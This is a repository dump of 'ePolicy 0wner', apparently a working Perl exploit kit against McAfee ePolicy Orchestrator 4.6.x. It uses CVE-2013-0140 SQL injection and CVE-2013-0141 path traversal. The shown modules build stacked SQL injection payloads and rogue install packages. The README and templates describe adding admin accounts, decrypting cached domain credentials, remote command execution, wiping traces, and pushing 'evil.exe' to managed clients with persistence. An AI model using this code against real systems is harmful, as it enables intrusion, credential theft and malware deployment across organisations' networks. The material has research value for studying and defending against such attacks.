169 | next if $entry =~ /^\.$|^\.\.$|^run.bat$/;
170 | # add file size
171 | my $size = -s $custom_folder . "/" .$entry ;
172 | $total_sizeKb += int($size / 1024);
173 |
174 | # get file hash
175 | my $content;
176 | open FILE, "$custom_folder/$entry" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$custom_folder/$entry' fo reading\n";
177 | read FILE, $content, -s FILE;
178 | close FILE;
179 | my $sha1 = uc(sha1_hex($content)); # must be upper case
180 |
181 | # Build
182 | $file_item_evil .= << "EOF";
183 |
184 | $entry
185 | $size
186 | 1CBB272E220B000
187 | $sha1
188 |
189 | EOF
190 |
191 | }
192 |
193 | }
194 |
195 |
196 |
197 | # get run_bat filename
198 | my $run_filename = fileparse($run_bat_path);
199 | # get run_bat hash and size
200 | my $content = '';
201 | open FILE, "$run_bat_path" or die "[-] ERROR: (write_pkgcatalog_xml): can't open '$run_bat_path' fo reading\n";
202 | read FILE, $content, -s FILE;
203 | close FILE;
204 | my $run_sha1 = uc(sha1_hex($content)); # must be upper case
205 | my $run_size = -s $run_bat_path ;
206 |
207 | # total size of files in Kb
208 | $total_sizeKb += int($run_size / 1024);
209 |
210 |
211 | # pkgcatalog file/path
212 | my $folder = $this->{pkgcatalog_tmp_folder};
213 | my $file = $folder . "/" . $this->{pkgcatalog_xml_file};
214 |
215 |
216 | # create temp folder
217 | mkpath($folder);
218 | if(not -d $folder){
219 | print "[-] ERROR (write_pkgcatalog_xml): can't create directory $folder\n";
220 | exit;
221 | }
222 |
223 |
224 | my $product_id = $this->{deploy_evil_product_id};
225 | my $product_build = $this->{deploy_evil_product_build};
226 | my $product_version = $this->{deploy_evil_product_version};
227 | my $product_name = lc($product_id);
228 |
229 | # open XML file
230 | open (FILE, ">$file") or die "[-] ERROR (write_pkgcatalog_xml): can't create file $file for writing\n";
231 | print FILE << "EOF";
232 |
233 |
234 |
235 | $product_id
236 | $product_name
237 | $product_name
238 |
239 |
240 | fooInstall.McS
241 | 521CBB2E55925B750
242 | A5ACE003AFE7423ABDC86876A8253115C2C84BE5
243 |
244 | >$product_version
245 | W2KW:5:0:4|W2KS:5:0:4|W2KAS:5:0:4|W2KDC:5:0:4|WXPHE:5:1:1|WXPW:5:1:1|WXPE:5:1:2|WXPS:5:2:1|WVST|WVSTS|WNT7W
246 |
247 |
248 |
249 | 1
250 | Install
251 | 0409
252 | command
253 | $run_filename
254 | 3
255 | $total_sizeKb
256 | 3010
257 |
258 | $product_build
259 |
260 |
261 |
262 | $run_filename
263 | $run_size
264 | 1CBB272E220B000
265 | $run_sha1
266 |
267 | $file_item_evil
268 |
269 |
270 |
271 |
272 |
273 |
274 | EOF
275 | close FILE;
276 | }
277 |
278 |
279 | 1;
280 |
--------------------------------------------------------------------------------
/Epowner/Print.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Term::ANSIColor;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 | sub print_warn {
10 | my $this = shift;
11 | my $str = shift;
12 | if ($this->{use_color}) { print colored("$str", 'bold magenta'); }
13 | else { print "$str"; }
14 | }
15 |
16 | sub print_err {
17 | my $this = shift;
18 | my $str = shift;
19 | if ($this->{use_color}) { print colored("$str", 'bold red'); }
20 | else { print "$str"; }
21 | }
22 |
23 | sub print_ok {
24 | my $this = shift;
25 | my $str = shift;
26 | if ($this->{use_color}) { print colored("$str", 'bold green');}
27 | else { print "$str"; }
28 | }
29 |
30 | sub print_info {
31 | my $this = shift;
32 | my $str = shift;
33 | if ($this->{use_color}) { print colored("$str", 'bold blue');}
34 | else { print "$str"; }
35 | }
36 |
37 |
38 | sub print_info_l1 {
39 | my $this = shift;
40 | my $str = shift;
41 | if ($this->{use_color}) { print colored("$str", 'cyan');}
42 | else { print "$str"; }
43 | }
44 |
45 | sub print_info_l2 {
46 | my $this = shift;
47 | my $str = shift;
48 | if ($this->{use_color}) { print colored("$str", 'magenta');}
49 | else { print "$str"; }
50 | }
51 |
52 |
53 | sub print_data {
54 | my $this = shift;
55 | my $str = shift;
56 | if ($this->{use_color}) { print colored("$str", 'cyan');}
57 | else { print "$str"; }
58 | }
59 |
60 |
61 | sub print_red {
62 | my $str = shift || '';
63 | print colored("$str", 'red');
64 | }
65 |
66 | sub print_cyan {
67 | my $str = shift || '';
68 | print colored("$str", 'cyan');
69 | }
70 |
71 | sub print_blue {
72 | my $str = shift || '';
73 | print colored("$str", 'blue');
74 |
75 | }
76 | 1;
77 |
--------------------------------------------------------------------------------
/Epowner/RSA.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Crypt::OpenSSL::RSA;
4 | use Digest::SHA qw(sha256);
5 | use MIME::Base64;
6 |
7 | use strict;
8 | use warnings;
9 |
10 |
11 |
12 |
13 | sub rsa_hash256_pub_key_from_file {
14 | my $this = shift;
15 | my $filename = shift;
16 |
17 | if(not -e $filename){
18 | print "[-] ERROR (rsa_hash_pub_key_from_file): file '$filename' not found\n";
19 | exit;
20 | }
21 |
22 | my $key_string;
23 | open(FILE,$filename) || die "$filename: $!";
24 | read(FILE,$key_string,-s FILE);
25 | close(FILE);
26 |
27 | my $hash = encode_base64(sha256($key_string), "");
28 |
29 | # save the hash
30 | return $hash;
31 |
32 | }
33 |
34 |
35 |
36 | 1;
37 |
--------------------------------------------------------------------------------
/Epowner/SQL.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Text::SimpleTable;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 |
10 | sub sql_prepare_generic {
11 | my $this = shift;
12 | my $statement = shift;
13 | my $sqli = "') ; " . $statement . " -- ";
14 | return $sqli;
15 | }
16 |
17 | sub sql_prepare_select{
18 |
19 | my $this = shift;
20 | my $select = shift;
21 |
22 | my $sqli =
23 |
24 | ## Here is how we retrieve the output of a SELECT query.. See also README.
25 | ## NOTE: Do not put any breakline !
26 |
27 | "') ; " .
28 | #Delete old epowner entries
29 | "delete from dbo.EPOPolicySettingValues where SettingName like 'epowner_data%'; " .
30 |
31 | # PolicySettings Temp : Get the PolicySettingsID which holds 'ProxySettings' values
32 | "declare \@TempPolTbl Table (RowId int identity, PolicySettingsID int); " .
33 | "insert into \@TempPolTbl Select distinct PolicySettingsID from dbo.EPOPolicySettingValues WHERE SectionName='ProxySettings'; " .
34 | "declare \@TempPolicyCount Int; " .
35 | "set \@TempPolicyCount = (Select Count(PolicySettingsID) From \@TempPolTbl); " .
36 |
37 |
38 | # Result Temp table : Read what we want to retrieve, and store it into a temp table
39 | "declare \@TempResultTbl2 Table (RowId int identity, ResultValue varchar(3000)); " .
40 | "insert into \@TempResultTbl2 (ResultValue) $select ;" .
41 | "declare \@TempResultCount Int; " .
42 | "set \@TempResultCount = (Select Count(ResultValue) From \@TempResultTbl2); " .
43 |
44 |
45 | #some indexes for looping
46 | "declare \@PolIndex Int; " .
47 | "declare \@ResIndex Int; " .
48 |
49 | "declare \@GetPolId int; " .
50 | "declare \@GetResVal varchar(3000); " .
51 | "declare \@SettingName varchar(64); " .
52 |
53 | # loop : For each row we want to retrieve
54 | "set \@ResIndex = 1; " .
55 | "while(\@TempResultCount >= \@ResIndex) " .
56 | "begin " .
57 | # get the row
58 | " set \@GetResVal = (select ResultValue from \@TempResultTbl2 where RowId = \@ResIndex); " .
59 |
60 | # loop : for each policy
61 | " set \@PolIndex = 1; " .
62 | " while(\@TempPolicyCount >= \@PolIndex) " .
63 | " begin " .
64 | # add it
65 | " set \@GetPolId = (select PolicySettingsID from \@TempPolTbl where RowId = \@PolIndex); " .
66 | " set \@SettingName = 'epowner_data_' + cast(\@ResIndex as varchar(10)); " .
67 | " insert into EPOPolicySettingValues (PolicySettingsID,SectionName,SettingName,SettingValue) values (\@GetPolId, 'ProxySettings', \@SettingName, \@GetResVal); " .
68 | " set \@PolIndex = \@PolIndex + 1; " .
69 | " end " .
70 |
71 | " set \@ResIndex = \@ResIndex + 1; " .
72 | "end " .
73 | " -- ";
74 |
75 | return $sqli
76 | }
77 |
78 |
79 | sub sql_execute {
80 |
81 | # 1) Send HTTP request
82 | # 2) parse XML response
83 | # 3) extract "epowner_data" XML tags
84 |
85 |
86 | my $this = shift;
87 | my $sqli = shift;
88 |
89 |
90 | # Send the HTTP request
91 | my $http_request = $this->mode_common_generate_fullprops_request($sqli);
92 | my $http_response;
93 | if($http_response = $this->send_http_request($http_request)){
94 | }else{
95 | exit;
96 | }
97 |
98 | # parse HTTP response ($hash is really a hash)
99 | my $post_hash = $this->parse_http_response($http_response);
100 | my %post = %$post_hash;
101 |
102 | # parse data
103 | my $data_hash = $this->parse_data_response($post{'data'} );
104 | my %data = %$data_hash;
105 |
106 | # parse server.xml and extract epowner_data_xxx
107 | my @results = $this->parse_server_xml($data{'server_xml'});
108 |
109 | return (@results);
110 |
111 | }
112 |
113 |
114 | 1;
115 |
--------------------------------------------------------------------------------
/Epowner/StringsManipulation.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use strict;
4 | use warnings;
5 |
6 |
7 | #=================================
8 | # Generate_guid function
9 | #=================================
10 | sub generate_guid {
11 |
12 | my @chars=('0'..'9', 'A'..'F');
13 | my $guid;
14 | # Sample: {82222222-83F7-48EB-83D4-5DAC1DBF8B19}
15 | foreach (1..8) { $guid.=$chars[rand @chars]; } $guid .= "-";
16 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-";
17 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-";
18 | foreach (1..4) { $guid.=$chars[rand @chars]; } $guid .= "-";
19 | foreach (1..12) { $guid.=$chars[rand @chars]; }
20 | $guid = "{" . $guid . "}";
21 | return $guid;
22 | }
23 |
24 |
25 |
26 | #=================================
27 | # XOR string
28 | # param1 : str
29 | # param2 : xor key(one byte)
30 | #=================================
31 | sub xor_str{
32 | my $buf = shift;
33 | my $key = shift;
34 | my $out;
35 | for(my $i=0;$i{browser};
18 |
19 |
20 | # Init table
21 | my $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}//core/orionTab.do?sectionId=orion.automation&tabId=response.tab.rules");
22 | print " [+] GET /core/orionTab.do?sectionId=orion.automation&tabId=response.tab.rules : " if $this->{verbose};
23 | my $res = $ua->request($req);
24 | if ( ! $res->is_success) {
25 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};
26 | return 0;
27 | }
28 | print "OK\n" if $this->{verbose};
29 |
30 |
31 | # search our response rule
32 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/loadTableData.do?datasourceAttr=response.ruleDatasource&filter=ALL_EVENTS&secondaryFilter=&tableCellRendererAttr=response.ruleCellRenderer&count=35&sortProperty=name&quickSearch=$filter&id=ruleTable");
33 | print " [+] GET /core/loadTableData.do : " if $this->{verbose};
34 | $res = $ua->request($req);
35 | if ( ! $res->is_success) {
36 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};
37 | return 0;
38 | }
39 | print "OK\n" if $this->{verbose};
40 |
41 |
42 | # extracte rule uid
43 | my $uid = $res->content;
44 | $uid =~ s/^.*"uid" : "([0-9]+)",.*$/$1/;
45 | if ($uid !~ /^[0-9]+$/){
46 | print " [-] Failed to find UID of our response rule ... \n" if $this->{verbose};
47 | return 0;
48 | }
49 |
50 |
51 | # Call Edit form
52 | #===================
53 | $req = POST "https://$this->{server_host}:$this->{server_consoleport}/response/editRule.do",,
54 | Content_Type => 'form-data',
55 | Content => [ "orion.user.security.token" => $this->{security_token},
56 | "UIDs" => $uid];
57 | print " [+] POST /response/editRule.do : " if $this->{verbose};
58 | $res = $ua->request($req);
59 | if($res->code eq 302){
60 | print "OK\n" if $this->{verbose};
61 | }else{
62 | print "failure ..\n" if $this->{verbose};;
63 | return 0;
64 | }
65 |
66 |
67 | # display rule
68 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/response/displayRuleDescription.do");
69 | print " [+] GET /response/displayRuleDescription.do : " if $this->{verbose};
70 | $res = $ua->request($req);
71 | if ( ! $res->is_success) {
72 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};;
73 | return 0;
74 | }
75 | print "OK\n" if $this->{verbose};
76 |
77 |
78 |
79 | # /core/orionTableUpdateState.do
80 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/core/orionTableUpdateState.do");
81 | $req->content_type('application/x-www-form-urlencoded');
82 | $req->content("orion.user.security.token=$this->{security_token}&dataSourceAttr=response.ruleDatasource&tableId=ruleTable&columnWidths=680%2C203%2C274%2C365%2C477&sortColumn=name&sortOrder=0&showFilters=true¤tIndex=0&ajaxMode=standard");
83 | print " [+] POST /core/orionTableUpdateState.do : " if $this->{verbose};
84 | $res = $ua->request($req);
85 | if($res->code eq 200){
86 | print "OK\n" if $this->{verbose};
87 | }else{
88 | print "Request failure ..\n" if $this->{verbose};;
89 | return 0;
90 | }
91 |
92 |
93 | # /response/updateRuleDescription.do
94 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/response/updateRuleDescription.do");
95 | $req->content_type('application/x-www-form-urlencoded');
96 | $req->content("orion.user.security.token=$this->{security_token}&wizardCurrentPage=description&name=" . $this->{common_prefix} . "&description=&language=en&enabled=true&orion.wizard.step=final");
97 | print " [+] POST /response/updateRuleDescription.do : " if $this->{verbose};
98 | $res = $ua->request($req);
99 | if($res->code eq 302){
100 | print "OK\n" if $this->{verbose};
101 | }else{
102 | print "Request failure ..\n" if $this->{verbose};
103 | return 0;
104 | }
105 |
106 |
107 | # save rule
108 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/response/response/saveRule.do?orion.user.security.token=$this->{security_token}");
109 | print " [+] GET /response/response/saveRule.do : " if $this->{verbose};
110 | $res = $ua->request($req);
111 | if ($res->code ne 302 and $res->code ne 200 ) {
112 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};
113 | return 0;
114 | }
115 | print "OK\n" if $this->{verbose};
116 |
117 |
118 | return 1;
119 |
120 | }
121 |
122 |
123 |
124 | 1;
125 |
--------------------------------------------------------------------------------
/Epowner/TomcatLogin.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use LWP;
4 | use HTML::TokeParser::Simple;
5 |
6 | use strict;
7 | use warnings;
8 |
9 | # git-issue-1
10 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE);
11 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
12 |
13 |
14 | sub tomcat_login {
15 | my $this = shift;
16 | my $username = shift;
17 | my $password = shift;
18 |
19 |
20 |
21 | # init browser
22 | $this->{browser} = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0, SSL_verify_mode => SSL_VERIFY_NONE });
23 | my $ua = $this->{browser};
24 | $ua->cookie_jar( {} );
25 |
26 |
27 | # Create a request and get cookie
28 | #=================================
29 | my $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/orionSplashScreen.do");
30 | print " [+] GET /core/orionSplashScreen.do : " if $this->{verbose};
31 | my $res = $ua->request($req);
32 | if ( ! $res->is_success) {
33 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};
34 | return 0;
35 | }
36 | print "OK\n" if $this->{verbose};
37 |
38 |
39 |
40 | # Do Login
41 | #===================
42 | $req = HTTP::Request->new(POST => "https://$this->{server_host}:$this->{server_consoleport}/core/j_security_check");
43 | $req->content_type('application/x-www-form-urlencoded');
44 | $req->content("j_username=$username&j_password=$password");
45 | print " [+] POST /core/j_security_check : " if $this->{verbose};
46 | $res = $ua->request($req);
47 | if($res->code eq 302){
48 | print "OK\n" if $this->{verbose};
49 | }else{
50 | print "Authentication failure ..\n" if $this->{verbose};
51 | return 0;
52 | }
53 |
54 |
55 | # Go back to SplashScreen.do and get SSO cookie + Security Token
56 | #================================================================
57 | $req = HTTP::Request->new(GET => "https://$this->{server_host}:$this->{server_consoleport}/core/orionSplashScreen.do");
58 | print " [+] GET /core/orionSplashScreen.do : " if $this->{verbose};
59 | $res = $ua->request($req);
60 | if ( ! $res->is_success) {
61 | print "Request failed with code " . $res->code . "..\n" if $this->{verbose};;
62 | return 0;
63 | }
64 | print "OK\n" if $this->{verbose};
65 |
66 | # Parse HTML , extract token
67 | my $content = $res->content;
68 | my $parser = HTML::TokeParser::Simple->new(\$content);
69 |
70 | while ( my $tag = $parser->get_tag('input') ) {
71 | my $name = $tag->get_attr('name');
72 | next unless defined $name and $name eq 'orion.user.security.token';
73 | $this->{security_token} = $tag->get_attr('value');
74 | }
75 | if($this->{security_token} eq ''){
76 | print " [-] Could not get Tomcat security token from HTML response ..\n" if $this->{verbose};;
77 | return 0;
78 | }
79 |
80 | print " [+] Logged in !\n" if $this->{verbose};
81 |
82 |
83 | return 1;
84 | }
85 |
86 |
87 |
88 |
89 | 1;
90 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | INTRODUCTION
2 | ============
3 |
4 | - This is **"ePolicy 0wner"**, a sexy exploit aginst **McAfee ePolicy Orchestrator** versions 4.6.0 -> 4.6.5
5 |
6 | + Author: jerome.nokin@gmail.com
7 | + Blog: http://funoverip.net
8 | + Discovered on: 20 November 2012
9 | + Fixed on: 25 April 2013
10 |
11 | - In short, this tool registers a rogue agent on the ePo server and then takes advantage of the following vulnerabilities to perform multiple actions :
12 |
13 | + **CVE-2013-0140** : Pre-auth SQL Injection
14 | + **CVE-2013-0141** : Pre-auth Directory Path Traversal
15 |
16 | - The tool manages the following actions, called "mode" :
17 |
18 | + **--register** Register a new agent on the ePo server (it's free)
19 | + **--check** Check the SQL Injection vunerability
20 | + **--add-admin** Add a new web admin account into the DB
21 | + **--readdb** Retrieve various information from the database
22 | + **--get-install-path** Retrieve the installation path of ePo software (needed for other modes)
23 | + **--ad-creds** Retrieve and decrypt cached domain credentials from ePo database.
24 | + **--wipe** Wipe our traces from the database and file system
25 | + **--srv-exec** Perform remote command execution on the ePo server
26 | + **--srv-upload** Upload files on the ePo server
27 | + **--cli-deploy** Deploy commands or softwares on clients
28 |
29 | - It is strongly advised to read the manual which explains how to use these modes (see README). But basically, your two first actions must be:
30 |
31 | + 1) Register a rogue agent using **--register**
32 | + 2) Setup Remote Code execution using **--srv-exec --wizard**
33 |
34 | - You may find a vulnerable version of the ePo software on my blog (http://funoverip.net/tag/epowner/). Deploy 2 VMs (eposrv + epocli) and test it !
35 |
36 | - The tool was developed/tested on Backtrack 5r3, Kali Linux 1.0.6 and Ubuntu 12.04. It won't work under Windows due to linux tools dependencies.
37 | + ePolicy Orchestrator was running on Win2003 and Win2003 R2
38 | + The managed stations were running on WinXPsp3 and Win7
39 |
40 | ADDITIONAL INFORMATION
41 | ======================
42 |
43 | - See http://funoverip.net/tag/epowner/
44 | - See the main **README** file for the manual.
45 |
46 |
--------------------------------------------------------------------------------
/cli-deploy-templates/README.txt:
--------------------------------------------------------------------------------
1 |
2 | !!! EXPERIMENTAL !!!
3 |
4 | Software deployment using "templates" (instead of --cmd and --file).
5 | To use with '--cli-deploy --template '
6 |
7 | ================================================================================
8 |
9 | Why this option ?
10 |
11 | Read below :)
12 |
13 |
14 | What happen on the managed station when you run '--cli-deploy --cmd <...>' ?
15 |
16 | A McAfee package is copied on the managed station under:
17 | %ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\
18 |
19 | ePowner create a file called run.bat under this directory (which contains your cmd)
20 |
21 | The McAfee agent run it, then delete the whole content of the folder..
22 |
23 |
24 | What happen on the managed station when you run '--cli-deploy --file evil.exe [--file-arg <...>]' ?
25 |
26 | Like '--cmd', a McAfee package is copied on the managed station under:
27 | %ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\
28 |
29 | ePowner add your evil file under this directory + run.bat which contains the following:
30 | start "" "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe"
31 |
32 | ePowner use "start" command to execute evil.exe in background. Otherwise, the deployment task doesn't return until your file exits,
33 | which blocks further deployment tasks.
34 |
35 | The McAfee agent execute run.bat, then delete the whole content of the folder.
36 | Note that evil.exe will not be deleted if it is running (makes sense). This will
37 | actually be the case everytime you use '--file', excepting if your file fails to start (never tested).
38 |
39 |
40 | Finaly, why this template option ?
41 |
42 | For many reasons. Here are some of them:
43 |
44 | 1) You need to give additional files to '--file' (ex: EXE + some DLL)
45 |
46 | 2) You need more than one line in '--cmd ', or just want to do some advanced stuffs.
47 |
48 | 3) You want to move your files somewhere else before execution, to make them persistent (ex: system32 folder).
49 |
50 | So, with a template, you can do absolutly what you want on the managed stations.
51 |
52 |
53 | How to use a template ?
54 |
55 | All you need to do, is copying your file(s) into a folder and manage 'run.bat' content.
56 | See examples from existing templates.
57 |
58 | Notes about 'run.bat' file:
59 |
60 | - It MUST exist ! Using ePowner, the McAfee agent running on the station will search for that file.
61 |
62 | - [MCAFEE_PACKAGE_NAME] pattern refers to the rogue package name (randomly generated by ePowner).
63 | Do not change it ! It will be automatically updated by ePowner.
64 | See 'template0_file/run.bat' as example.
65 |
66 | Then use '--cli-deploy --template '
67 | ePowner will then generate some additional files (metadata), build a valid package,
68 | push it on the repository, and then continue its job like with --cmd and --file.
69 |
70 |
71 | Template examples:
72 |
73 | - see "custom0_cmd" and "custom0_file" folders which are the equivalent to '--cmd' and '--file' options respectively.
74 |
75 | - "custom1" : this template copy evil.exe and evil.dll into c:\, then execute c:\evil.exe
76 |
77 |
78 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom0_cmd/run.bat:
--------------------------------------------------------------------------------
1 | ping 192.68.0.1
2 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom0_file/evil.exe:
--------------------------------------------------------------------------------
1 | I am an evil EXE file ...
2 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom0_file/run.bat:
--------------------------------------------------------------------------------
1 | start "" "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe"
2 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom1/evil.dll:
--------------------------------------------------------------------------------
1 | I am an evil DLL file
2 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom1/evil.exe:
--------------------------------------------------------------------------------
1 | I am an evil EXE file ...
2 |
--------------------------------------------------------------------------------
/cli-deploy-templates/custom1/run.bat:
--------------------------------------------------------------------------------
1 | copy /Y "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.exe" c:\evil.exe
2 | copy /Y "%ALLUSERSPROFILE%\Application data\mcafee\common framework\current\[MCAFEE_PACKAGE_NAME]\Install\0409\evil.dll" c:\evil.dll
3 | start "" "c:\evil.exe"
4 |
--------------------------------------------------------------------------------
/fingerprinting/http-epo-fingerprint.nse:
--------------------------------------------------------------------------------
1 | description = [[
2 | Gather McAfee ePolicy Orchestrator versions
3 | ]]
4 |
5 | ---
6 | -- @output
7 | -- PORT STATE SERVICE
8 | -- 443/tcp open https
9 | -- | http-epo: McAffe ePolicy Orchestrator server found
10 | -- | Version: 4.6.4
11 | -- | WebConsole available: YES
12 | -- |_reqseckey: available (rogue agent registration possible)
13 | --
14 |
15 | author = "Jerome Nokin (http://funoverip.net)"
16 |
17 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
18 |
19 | categories = {"default", "safe"}
20 |
21 | require "nmap"
22 | require "shortport"
23 | require "http"
24 | require "strbuf"
25 |
26 | portrule = shortport.port_or_service(443,"https")
27 |
28 | action = function(host, port)
29 | local status = false
30 | local result
31 | local epo_version
32 | local webconsole
33 | local out
34 |
35 | -- this key is needed to register a rogue agent
36 | local path_reqseckey = "/Software/Current/EPOAGENT3000/Install/0409/reqseckey.bin"
37 | -- this file provide epo version
38 | local path_sitelist = "/Software/Current/EPOAGENT3000/Install/0409/sitelist.xml"
39 |
40 | local options = {header={}}
41 | options['header']['User-Agent'] = "Mozilla/5.0"
42 | options['redirect_ok'] = false
43 |
44 | -- Get reqseckey.bin
45 | result = http.generic_request(host, port, "GET", path_reqseckey , options)
46 | if(result == nil) then
47 | return nil
48 | end
49 | if result.status ~= 200 then
50 | return nil
51 | end
52 | if result.header["content-type"] ~= "application/octet-stream" then
53 | return nil
54 | end
55 |
56 |
57 | -- get sitelist.xml
58 | local body = http.generic_request(host, port, "GET", path_sitelist , options).body
59 | local regex = pcre.new(" Version=\"([0-9.]+)\" ", 0, "C")
60 |
61 | -- get version from sitelist.xml
62 | local s, e, t = regex:exec(body, 0, 0)
63 | local epo_version = string.sub(body, t[1], t[2])
64 |
65 | -- check if web console is open on default port
66 | result = ""
67 | -- result = http.generic_request(host, "8443", "GET", "/help/orionhelp.js" , {redirect_ok = false})
68 | result = http.generic_request(host, "8443", "GET", "/help/orionhelp.js" , options)
69 | webconsole = "no "
70 | if(result ~= nil) then
71 | if result.status == 200 then
72 | webconsole = "YES"
73 | end
74 | end
75 |
76 |
77 | -- out = "FOUND! Version: " .. epo_version .. " WebConsole: " .. webconsole .. " https://" .. host.ip .. path_sitelist
78 | out = "McAffe ePolicy Orchestrator server found\n"
79 | out = out .. "Version: " .. epo_version .. "\n"
80 | out = out .. "WebConsole available on default port: " .. webconsole .. "\n"
81 | out = out .. "reqseckey: available (rogue agent registration possible)" .. "\n"
82 | return out
83 | end
84 |
85 |
86 |
--------------------------------------------------------------------------------
/fingerprinting/ssl-fingerprint.txt:
--------------------------------------------------------------------------------
1 | The SSL certificate installed on the ePO server (port 443/TCP) has a magical pattern.
2 | The 'SSL Subject' always starts with the following: "/O=McAfee/OU=ePO/CN="
3 |
4 |
5 |
--------------------------------------------------------------------------------
/lib/Crypt/TripleDES.pm:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | ##
3 | ## Crypt::TripleDES -- Pure Perl Triple DES encryption.
4 | ##
5 | ## Copyright (c) 1999, Vipul Ved Prakash. All rights reserved.
6 | ## This code is free software; you can redistribute it and/or modify
7 | ## it under the same terms as Perl itself.
8 | ##
9 | ## $Id: TripleDES.pm,v 0.24 1999/10/13 23:26:15 root Exp root $
10 |
11 | package Crypt::TripleDES;
12 | use Crypt::PPDES;
13 | use vars qw( $AUTOLOAD $VERSION);
14 | ( $VERSION ) = '$Revision: 0.24 $' =~ /\s(\d+\.\d+)\s/;
15 |
16 | sub AUTOLOAD {
17 | my ( $self, @args ) = @_;
18 | my $key = $AUTOLOAD; $key =~ s/.*://;
19 | if ( $key eq "encrypt3" ) {
20 | return $self->decrypt3 ( @args, 1 );
21 | }
22 | }
23 |
24 | sub new { return bless {}, shift }
25 |
26 | sub decrypt3 {
27 |
28 | my ( $self, $plaintext, $passphrase, $flag ) = @_;
29 | my %keyvecs;
30 | $passphrase .= ' ' x (16*3);
31 |
32 | for ( 0..2 ) {
33 | my @kvs = Crypt::PPDES::des_set_key( pack( "H*", substr($passphrase, 16*$_, 16 )));
34 | $keyvecs{$_} = \@kvs;
35 | }
36 |
37 | my $size = length ( $plaintext );
38 | my $tail = 8 - ( $size % 8 ); $tail = 0 if $tail > 7;
39 | $plaintext .= chr(32) x $tail;
40 | $size = length ( $plaintext );
41 | my $cyphertext = "";
42 |
43 | for ( 0 .. (($size)/8) -1 ) {
44 | my $pt = substr( $plaintext, $_*8, 8 );
45 | $pt = Crypt::PPDES::des_ecb_encrypt( $flag ? $keyvecs{0} : $keyvecs{2}, $flag, $pt );
46 | $pt = Crypt::PPDES::des_ecb_encrypt( $keyvecs{1}, (not $flag), $pt );
47 | $pt = Crypt::PPDES::des_ecb_encrypt( $flag ? $keyvecs{2} : $keyvecs{0}, $flag, $pt );
48 | $cyphertext .= $pt;
49 | }
50 |
51 | return substr ( $cyphertext, 0, $size );
52 |
53 | }
54 |
55 | sub debug {
56 | my ( @mess ) = @_;
57 | open D, ">>debug";
58 | print D "@mess\n";
59 | close D;
60 | }
61 |
62 | "True Value";
63 |
64 | =head1 NAME
65 |
66 | Crypt::TripleDES - Triple DES encyption.
67 |
68 | =head1 SYNOPSIS
69 |
70 | my $des = new Crypt::TripleDES;
71 | my $cyphertext = $des->encrypt3 ( $plaintext, $passphrase );
72 | my $plaintext = $des->decrypt3 ( $cyphertext, $passphrase );
73 |
74 | =head1 DESCRIPTION
75 |
76 | This module implements 3DES encryption in ECB mode. The code is based on
77 | Eric Young's implementation of DES in pure perl. It's quite slow because of
78 | the way Perl handles bit operations and is not recommended for use with
79 | large texts.
80 |
81 | =head1 METHODS
82 |
83 | =over 4
84 |
85 | =item B
86 |
87 | The constructor.
88 |
89 | =item B $plaintext, $passphrase
90 |
91 | Encrypts the plaintext string using the passphrase. Whitespace characters
92 | are appended to the string if its length is not a multiple of eight. User
93 | applications can correct for this by storing plaintext size with the
94 | cyphertext. The passphrase is an ASCII character string of upto 48
95 | characters.
96 |
97 | =item B $cyphertext, $passphrase
98 |
99 | Inverse of encrypt3().
100 |
101 | =back
102 |
103 | =head1 AUTHOR
104 |
105 | Vipul Ved Prakash, mail@vipul.net
106 | Eric Young, eay@psych.psy.uq.oz.au
107 |
108 | Patches:
109 | Jonathan Mayer
110 |
111 | =cut
112 |
113 |
114 |
--------------------------------------------------------------------------------
/lib/LWP-Protocol-https-6.03.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/lib/LWP-Protocol-https-6.03.tar.gz
--------------------------------------------------------------------------------
/lib/LWP-Protocol-socks-1.6.tar.gz:
--------------------------------------------------------------------------------
